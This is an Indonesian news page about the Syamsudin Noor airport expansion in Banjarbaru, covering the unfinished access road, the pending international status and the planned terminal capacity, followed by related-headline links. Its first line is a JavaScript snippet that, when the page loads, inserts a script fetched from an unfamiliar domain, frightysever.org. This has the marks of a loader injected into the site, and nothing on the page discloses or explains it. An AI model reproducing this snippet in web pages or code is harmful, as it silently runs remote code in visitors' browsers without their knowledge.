(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Proyek Pengembangan Bandara Syamsudin Noor terus digenjot Kementrian Perhubungan (Kemenhub) agar dapat beroperasi sesuai target pada Oktober nanti. Sementara itu, Pemprov Kalsel masih bertanggung jawab untuk menyelesaikan jalan akses masuk ketika bandara tersebut rampung.
Dari pantauannya di lapangan, Direktur Jenderal Perhubungan Udara Kemenhub, Polana B Pramesti mengatakan masih ada banyak kekurangan dalam pembangunan jalan akses utama Bandara Syamsudin Noor.
“Sepengetahuan saya, beberapa waktu lalu sudah ada komitmen dari Pemprov untuk mengalokasikan peningkatan jalan. Ini saya liat badan jalan masih belum sempurna dan lebar yang belum standar,” ujarnya.
Jalan akses utama yang ditangani Pemprov Kalsel ini berada di KM 17, tepatnya dari jalan Lingkar Utara – Bandara Syamsudin Noor. Ditegaskan Polana, pihaknya akan mengkoordinasikan percepatan penyelesaian jalan akses Bandara ke Kementrian PUPR. Mengingat Pemprov Kalsel sendiri masih terkendala dengan dana APBN.
“Statusnya jalannya kan jalan Provinsi. Nanti kita kordinasikan dengan Pemrpov, PUPR, dan Menko Perekonomian untuk siap diselesaikan pada nanti operasi bandara,” lanjutnya.
Di sisi lain, General Manajer (GM) Bandara Syamsudin Noor Banjarmasin, Indah Preastuty mengungkapkan Jalan Akses tersebut memang tengah dibangun fisiknya, namun belum siap baik itu lampu dan infrastrukturnya. Ia berharap Gubernur Kalsel Sahbirin Noor dapat meninjau kesiapan jalan akses tersebut.
“Setelah lebaran ini saya akan minta waktu beliau (Gubernur Kalsel) lagi. Karena jalan akses ini diperlukan untuk kenyamanan dan keamanan penumpang,” jelasnya.
Adapun terkait status bandara internasional yang akan disandang Bandara Syamsudin Noor, Kemenhub sendiri masih menunggu berkas yang saat ini sedang diurus oleh Kementrian Hukum dan Ham (Kemenkumham). Apalagi tantanan dan sistem Bandara Syamsudin Noor yang sudah masuk internasional.
Direktur Jenderal Perhubungan Udara Kemenhub, Polana B Pramesti mengharapkan proyek pengembangan Bandara Syamsudin Noor di operasikan di bulan oktober tepatnya tanggal 10 Oktober.
Ia memaparkan, apabila proyek selesai kapasitas terminal Bandara yang awalnya hanya mampu menampung 1,5 juta meningkat menjadi 7 juta penumpang. Sedangkan dari tempat parkir pesawat terbang atau yang disebut apron, juga bertambah dari 16 parking stand menjadi 24 parking stand.
“Dengan penambahan kapasitas ini pelayanan akan lebih baik. Karena disini Embkarasi Haji, lmudahan setelah ditingkatkan bandara lebih banyak pelayanan atau perjalanan umroh,” pungkasnya.
Dara data saat terakhir Jumat (7/6), Proyek Pengembangan Bandara Syamsudin Noor Banjarmasin masih berjalan sesuai target.
Pada Paket 1 yaitu gedung terminal telah mencapai 65 persen. Sedangkan pada Paket 2 yang meliputi pengembangan fasilitas penunjang seperti gedung Kargo, gedung Administrasi dan Klinik, gedung PKP-PK, masjid/mushola, security office, gedung ACS, dan workshop, pekerjaannya saat ini telah mencapai diangka 85 persen. (Rico)
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More
This website uses cookies.